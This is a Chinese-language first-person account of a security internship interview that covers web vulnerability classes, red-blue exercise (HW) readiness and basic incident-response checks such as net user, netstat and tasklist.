当时就把正式课程 教的SQL注入 XSS注入 反序列化 文件包含 命令注入的原理以及类型全说了一遍中间还说了几个关键的函数以及一些自己也做了一些漏洞复现 例如:THINKPHP THINKCMF WEBLOGIC的这些远程命令执行漏洞利用,当然还问了修复建议,简单回答就是过滤 + 正则表达式+ 开发人员代码要写的严谨些。
这些问完之后,才开始询问护网的问题了
这个的话如实回答 ,没有参加过护网 , 但是最近有了解过护网并知道一些事件等级以及工作分组,应急响应的话这里有做过,就是回答了一些 看看主机有没有异常登录信息(net user) 异常端口开放(netstat -ano) 异常进程(tasklist) 查看一下linux里的/var/log日志 windwos的日志 然后根据攻击者的思路去进行一个信息检查 用D盾检查一下有没有webshell文件。大致就是回答了这些
其实还真没咋接触过这一块,但是最近网上看的这些比较多 就随便轻描淡写的描述了一下,具体也忘了。。。
总之就是围绕上面回答的措施来描述的,比较片面 后面我又解释说,现在是实习生应急响应这一块的话让我接触的比较少,所以就。。。
这个的话感觉比较凑巧, 昨天网上收集了一些HW的培训资料,然后把内容多看了下,在脑子里大概记了些。
说了一些自己公司的安全设备告警(反弹shell 暴力破解 弱口令)之类的。
手动验证一下,然后就是根据告警上面的信息去查询,去检验一下
这里也很迷不知道怎么回答 就是简单说了自己用过wireshark 用一些过滤规则去分析数据报文 数据包的内容。
根据一些漏洞扫描工具(nessus awvs appscan)扫描出来的漏洞及时反应给他们去修复,然后就是根据等保制度去修改一些中间件的配置 和系统的配置文件
这个的话其实也不是很清楚总之脑海里当时就知道 (时间 地点 人物)然后就是围绕这三个回答了 时间 攻击源地址 根据事件类型 漏洞类型去划分,最后再根据自己的经验去总结一下写到报告上。
面试难度:难度适中
其他面试